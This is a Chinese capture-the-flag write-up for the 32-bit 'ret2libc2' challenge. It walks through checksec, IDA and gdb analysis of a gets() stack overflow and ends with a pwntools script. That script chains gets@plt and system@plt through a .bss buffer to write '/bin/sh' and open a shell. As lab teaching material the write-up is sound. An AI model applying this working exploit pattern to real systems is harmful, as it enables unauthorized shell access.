ret2libc2
查看文件
ROP$ checksec ret2libc2
[*] '/home/pwn/桌面/题目/ROP/ret2libc2'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
IDA静态查看
将文件放入32位IDA中,分析源码,可以得知程序有一个get()
,有一个局部变量s
。
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+1Ch] [ebp-64h]
setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 1, 0);
puts("Something surprise here, but I don't think it will work.");
printf("What do you think ?");
gets(&s);
return 0;
}
pwngdb动态查看
从上面的IDA分析来看,s
距离栈底有64h的距离,化为10进制为100,这是静态调试;那么我们可以使用gdb动态调试看一下是否是100字节的距离。
07:001c│ eax 0xffffd4ec ◂— 'aaaa'
08:0020│ edx 0xffffd4f0 ◂— 0x0
09:0024│ 0xffffd4f4 ◂— 0x534
0a:0028│ 0xffffd4f8 ◂— 0x9e
0b:002c│ 0xffffd4fc —▸ 0xf7fb3a80 (__dso_handle) ◂— 0xf7fb3a80
0c:0030│ 0xffffd500 ◂— 0x0
0d:0034│ 0xffffd504 —▸ 0xf7fb5000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1e9d6c
0e:0038│ 0xffffd508 —▸ 0xf7ffc7e0 (_rtld_global_ro) ◂— 0x0
0f:003c│ 0xffffd50c —▸ 0xf7fb8c68 (__exit_funcs_lock) ◂— 0x0
10:0040│ 0xffffd510 —▸ 0xf7fb5000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1e9d6c
11:0044│ 0xffffd514 —▸ 0xf7fe22f0 ◂— endbr32
12:0048│ 0xffffd518 ◂— 0x0
13:004c│ 0xffffd51c —▸ 0x8048425 (_init+9) ◂— add ebx, 0x1bdb
14:0050│ 0xffffd520 —▸ 0xf7fb53fc (__exit_funcs) —▸ 0xf7fb6900 (initial) ◂— 0x0
15:0054│ 0xffffd524 ◂— 0x40000
16:0058│ 0xffffd528 —▸ 0x804a000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x8049f14 (_DYNAMIC) ◂— 0x1
17:005c│ 0xffffd52c —▸ 0x8048722 (__libc_csu_init+82) ◂— add edi, 1
18:0060│ 0xffffd530 ◂— 0x1
19:0064│ 0xffffd534 —▸ 0xffffd5f4 —▸ 0xffffd738 ◂— 0x6d6f682f ('/hom')
1a:0068│ 0xffffd538 —▸ 0xffffd5fc —▸ 0xffffd75e ◂— 'LANG=zh_CN.UTF-8'
1b:006c│ 0xffffd53c —▸ 0xf7e03519 (__cxa_atexit+41) ◂— add esp, 0x1c
1c:0070│ 0xffffd540 —▸ 0xf7fe22f0 ◂— endbr32
1d:0074│ 0xffffd544 ◂— 0x0
1e:0078│ 0xffffd548 —▸ 0x80486db (__libc_csu_init+11) ◂— add ebx, 0x1925
1f:007c│ 0xffffd54c ◂— 0x0
20:0080│ 0xffffd550 —▸ 0xf7fb5000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1e9d6c
... ↓
22:0088│ ebp 0xffffd558 ◂— 0x0
栈底是0xffffd558
,输入的位置是在0xffffd4f0
,可以用python计算一下;
>>> 0xffffd558 - 0xffffd4ec
108
这里动态调试和静态调试的结果是不一样的,那么以动态为准。
payload构造
仔细查看发现和ret2libc1差不多,但是缺少了/bin/sh
字符串。那可以使用get()
函数手动读入;那读入到哪里也是个问题,在IDA中可以查看到.bss
区有一个buf2
全部变量,位于0x0804A080
上,开辟了100个字节。
.bss:0804A040 ; ===========================================================================
.bss:0804A040
.bss:0804A040 ; Segment type: Uninitialized
.bss:0804A040 ; Segment permissions: Read/Write
.bss:0804A040 ; Segment alignment '32byte' can not be represented in assembly
.bss:0804A040 _bss segment para public 'BSS' use32
.bss:0804A040 assume cs:_bss
.bss:0804A040 ;org 804A040h
.bss:0804A040 assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
.bss:0804A040 public __bss_start
.bss:0804A040 ; FILE *_bss_start
.bss:0804A040 __bss_start dd ? ; DATA XREF: LOAD:080482B8↑o
.bss:0804A040 ; deregister_tm_clones+5↑o ...
.bss:0804A040 ; Alternative name is '__TMC_END__'
.bss:0804A040 ; stdin@@GLIBC_2.0
.bss:0804A040 ; _edata
.bss:0804A040 ; Copy of shared data
.bss:0804A044 align 20h
.bss:0804A060 public stdout@@GLIBC_2_0
.bss:0804A060 ; FILE *stdout
.bss:0804A060 stdout@@GLIBC_2_0 dd ? ; DATA XREF: LOAD:08048298↑o
.bss:0804A060 ; main+9↑r
.bss:0804A060 ; Alternative name is 'stdout'
.bss:0804A060 ; Copy of shared data
.bss:0804A064 completed_6591 db ? ; DATA XREF: __do_global_dtors_aux↑r
.bss:0804A064 ; __do_global_dtors_aux+14↑w
.bss:0804A065 align 20h
.bss:0804A080 public buf2
.bss:0804A080 ; char buf2[100]
.bss:0804A080 buf2 db 64h dup(?)
.bss:0804A080 _bss ends
.bss:0804A080
那我们可以把/bin/sh
写入buf2中,在用system
函数执行buf2中的内容,就可以得到shell了。
payload:
溢出到返回地址处,先调用一个gets()
函数,将/bin/sh
写入到buf2中,然后在调用system()
函数执行。
from pwn import *
io = process("../ROP/ret2libc2")
elf = ELF("../ROP/ret2libc2")
gets_plt = elf.plt["gets"]
system_plt = elf.plt["system"]
buf2_add = 0x0804A080
payload = b"A"* 112 + p32(gets_plt) + p32(system_plt) + p32(buf2_add) + p32(buf2_add)
io.recvline()
io.sendline(payload)
io.sendline("/bin/sh")
io.interactive()
标签:__,0804A040,0x0,ret2lib2,buf2,add,bss
From: https://www.cnblogs.com/qianyuzz/p/17735477.html